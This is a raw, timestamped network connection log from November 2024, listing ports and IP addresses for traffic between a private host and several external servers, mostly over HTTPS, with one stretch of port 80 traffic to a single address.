Nov 12, 2024 04:16:30.293709040 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.293751001 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.300764084 CET	49816	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:30.317713022 CET	49817	443	192.168.2.5	20.125.209.212
Nov 12, 2024 04:16:30.317740917 CET	443	49817	20.125.209.212	192.168.2.5
Nov 12, 2024 04:16:30.384707928 CET	443	49817	20.125.209.212	192.168.2.5
Nov 12, 2024 04:16:30.384900093 CET	49817	443	192.168.2.5	20.125.209.212
Nov 12, 2024 04:16:30.402053118 CET	49819	443	192.168.2.5	20.1.248.118
Nov 12, 2024 04:16:30.402070999 CET	443	49819	20.1.248.118	192.168.2.5
Nov 12, 2024 04:16:30.408864975 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.408883095 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.408909082 CET	49817	443	192.168.2.5	20.125.209.212
Nov 12, 2024 04:16:30.408941031 CET	443	49817	20.125.209.212	192.168.2.5
Nov 12, 2024 04:16:30.408973932 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.408987045 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.409369946 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.409688950 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.409706116 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.409785986 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.409785986 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.409791946 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.409846067 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.411478043 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.411494017 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.411926031 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.411931992 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.412240982 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.450352907 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.455296040 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.490946054 CET	443	49816	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:30.491619110 CET	49816	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:30.491692066 CET	443	49816	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:30.491842031 CET	443	49816	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:30.491868019 CET	49816	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:30.491928101 CET	49816	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:30.502326012 CET	49819	443	192.168.2.5	20.1.248.118
Nov 12, 2024 04:16:30.502348900 CET	443	49819	20.1.248.118	192.168.2.5
Nov 12, 2024 04:16:30.503107071 CET	49819	443	192.168.2.5	20.1.248.118
Nov 12, 2024 04:16:30.503169060 CET	443	49819	20.1.248.118	192.168.2.5
Nov 12, 2024 04:16:30.503300905 CET	443	49819	20.1.248.118	192.168.2.5
Nov 12, 2024 04:16:30.503334045 CET	49819	443	192.168.2.5	20.1.248.118
Nov 12, 2024 04:16:30.503372908 CET	49819	443	192.168.2.5	20.1.248.118
Nov 12, 2024 04:16:30.508332968 CET	49829	443	192.168.2.5	20.1.248.118
Nov 12, 2024 04:16:30.508368015 CET	443	49829	20.1.248.118	192.168.2.5
Nov 12, 2024 04:16:30.508858919 CET	49829	443	192.168.2.5	20.1.248.118
Nov 12, 2024 04:16:30.509056091 CET	49829	443	192.168.2.5	20.1.248.118
Nov 12, 2024 04:16:30.509068966 CET	443	49829	20.1.248.118	192.168.2.5
Nov 12, 2024 04:16:30.516870975 CET	443	49820	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.517544985 CET	49820	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.517565012 CET	443	49820	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.518404961 CET	49820	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.518409014 CET	443	49820	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.519138098 CET	443	49821	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.519474030 CET	49821	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.519491911 CET	443	49821	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.519954920 CET	49821	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.519959927 CET	443	49821	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.521872044 CET	443	49824	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:30.522157907 CET	49824	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:30.522169113 CET	443	49824	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:30.522514105 CET	443	49824	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:30.522747040 CET	49824	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:30.523199081 CET	443	49824	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:30.523330927 CET	49824	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:30.524162054 CET	49824	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:30.524224043 CET	443	49824	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:30.524342060 CET	49824	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:30.524342060 CET	49824	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:30.524369955 CET	443	49824	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:30.525182962 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.525207043 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.525291920 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.525291920 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.525300980 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.525409937 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.525868893 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.525883913 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.525985003 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.525989056 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.526083946 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.526495934 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.526510954 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.526581049 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.526587963 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.526693106 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.527626038 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.527641058 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.527736902 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.527736902 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.527746916 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.527867079 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.528132915 CET	443	49822	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.528630972 CET	49822	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.528639078 CET	443	49822	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.529136896 CET	49822	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.529140949 CET	443	49822	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.530891895 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.530908108 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.531002045 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.531002045 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.531013012 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.531059980 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.531172991 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.531210899 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.531245947 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.531250000 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.531271935 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.531438112 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.532128096 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.532143116 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.532340050 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.532346010 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.532417059 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.548465967 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.548945904 CET	49823	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.548960924 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.550405025 CET	49823	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.550410032 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.581887960 CET	49830	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:30.581927061 CET	443	49830	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:30.582148075 CET	49830	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:30.582223892 CET	49831	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:30.582262993 CET	443	49831	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:30.582329035 CET	49831	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:30.582334995 CET	49832	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:30.582364082 CET	443	49832	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:30.582555056 CET	49834	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:30.582556963 CET	49833	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:30.582561970 CET	443	49834	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:30.582576990 CET	443	49833	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:30.582602978 CET	49832	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:30.582637072 CET	49834	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:30.582638025 CET	49833	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:30.582850933 CET	49835	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:30.582858086 CET	443	49835	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:30.582995892 CET	49835	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:30.583775997 CET	49830	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:30.583795071 CET	443	49830	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:30.583915949 CET	49831	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:30.583930969 CET	443	49831	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:30.584052086 CET	49832	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:30.584063053 CET	443	49832	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:30.584218025 CET	49834	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:30.584223032 CET	49833	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:30.584223986 CET	443	49834	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:30.584233046 CET	443	49833	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:30.584368944 CET	49835	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:30.584377050 CET	443	49835	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:30.653594017 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.653615952 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.653711081 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.653722048 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.653919935 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.654176950 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.654191971 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.654256105 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.654261112 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.654284000 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.654387951 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.654804945 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.654805899 CET	443	49820	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.654812098 CET	443	49821	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.654838085 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.654856920 CET	443	49820	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.654876947 CET	443	49821	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.654900074 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.654905081 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.654958010 CET	49820	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.654959917 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.654983997 CET	49821	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.654984951 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.655092955 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.655107021 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.655241013 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.655245066 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.655350924 CET	49821	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.655350924 CET	49821	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.655361891 CET	443	49821	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.655366898 CET	443	49821	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.655392885 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.655566931 CET	49820	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.655566931 CET	49820	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.655585051 CET	443	49820	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.655594110 CET	443	49820	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.655710936 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.655725956 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.655914068 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.655946970 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.655953884 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.655957937 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.655967951 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.655981064 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.656007051 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.656054974 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.656070948 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.657663107 CET	443	49822	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.657706022 CET	443	49822	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.657809973 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.657810926 CET	49822	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.658163071 CET	49822	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.658168077 CET	443	49822	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.658191919 CET	49822	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.658196926 CET	443	49822	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.661715031 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.661715031 CET	49837	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.661736012 CET	443	49837	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.662596941 CET	49837	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.662775040 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.662781000 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.665674925 CET	49838	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.665694952 CET	443	49838	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.666642904 CET	49839	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.666644096 CET	49838	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.666650057 CET	443	49839	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.667157888 CET	49838	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.667157888 CET	49837	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.667165995 CET	443	49838	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.667172909 CET	443	49837	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.667191982 CET	49839	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.667440891 CET	49839	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.667448997 CET	443	49839	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.676892042 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.677042961 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.677618027 CET	49823	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.677679062 CET	49823	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.677679062 CET	49823	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.677690029 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.677696943 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.681135893 CET	49840	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.681191921 CET	443	49840	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.681308985 CET	49840	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.681509972 CET	49840	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.681524992 CET	443	49840	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.720722914 CET	49824	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:30.720748901 CET	443	49824	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:30.721735001 CET	49824	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:30.721781015 CET	443	49824	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:30.721900940 CET	49824	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:30.726056099 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.726078987 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.726094007 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.726104021 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.726121902 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.726134062 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.726144075 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.726150990 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.726164103 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.726176023 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.726176023 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.726178885 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.726191044 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.726210117 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.726222992 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.726233959 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.726238012 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.726238012 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.726248026 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.726363897 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.726382017 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.726394892 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.726396084 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.726407051 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.726418972 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.726421118 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.726433992 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.726454020 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.726459026 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.726476908 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.726485968 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.726485968 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.726491928 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.726520061 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.726521015 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.726521015 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.726531029 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.726537943 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.726547956 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.726588964 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.726588964 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.726639032 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.726655960 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.726667881 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.726677895 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.726689100 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.726701975 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.726712942 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.726712942 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.726742029 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.726825953 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.727371931 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.727453947 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.727467060 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.727478027 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.727488995 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.727500916 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.727519989 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.727552891 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.727565050 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.727576971 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.727577925 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.727588892 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.727601051 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.727607965 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.727619886 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.727632046 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.727632046 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.727639914 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.727643967 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.727699995 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.727699995 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.727732897 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.727745056 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.727756023 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.727766991 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.727777958 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.727782011 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.727782011 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.727791071 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.727803946 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.727813959 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.727818012 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.727818012 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.727828026 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.727854013 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.727864981 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.727866888 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.727874041 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.727878094 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.727890968 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.727900982 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.727911949 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.727914095 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.727914095 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.727931023 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.727942944 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.727952957 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.727953911 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.727966070 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.727977037 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.727977991 CET	49750	80	192.168.2.5	185.215.113.206
